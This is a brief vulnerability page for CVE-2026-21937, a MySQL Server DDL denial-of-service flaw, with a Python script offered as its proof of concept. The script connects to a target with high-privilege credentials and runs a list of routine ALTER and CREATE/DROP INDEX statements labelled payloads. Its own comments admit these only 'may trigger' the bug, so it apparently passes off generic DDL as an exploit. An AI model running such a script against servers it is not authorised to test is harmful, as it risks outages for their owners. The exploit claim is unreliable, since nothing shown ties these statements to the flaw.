CVE-2026-21937: Oracle MySQL Server DDL组件拒绝服务漏洞

# CVE-2026-21937 PoC - MySQL DDL DoS # Requires high-privilege MySQL user credentials import mysql.connector import sys def test_ddl_dos(target_host, username, password, database='mysql'): """ Test for CVE-2026-21937 DDL component DoS vulnerability """ try: # Connect to MySQL server with high privilege user conn = mysql.connector.connect( host=target_host, user=username, password=password, database=database ) cursor = conn.cursor() # Create a test table cursor.execute("CREATE TABLE IF NOT EXISTS test_cve21937 (id INT PRIMARY KEY, data VARCHAR(255))") # Attempt to trigger the vulnerability through DDL operation # This specific pattern may trigger the DDL component bug ddl_payloads = [ "ALTER TABLE test_cve21937 ADD COLUMN new_col VARCHAR(100) AFTER id", "ALTER TABLE test_cve21937 DROP COLUMN new_col", "CREATE INDEX idx_test ON test_cve21937(data)", "DROP INDEX idx_test ON test_cve21937" ] for payload in ddl_payloads: try: cursor.execute(payload) print(f"[+] Executed: {payload}") except mysql.connector.Error as e: print(f"[!] Error executing {payload}: {e}") # Cleanup cursor.execute("DROP TABLE IF EXISTS test_cve21937") cursor.close() conn.close() except mysql.connector.Error as e: print(f"[-] Connection error: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-21937-poc.py <host> <user> <password>") sys.exit(1) test_ddl_dos(sys.argv[1], sys.argv[2], sys.argv[3])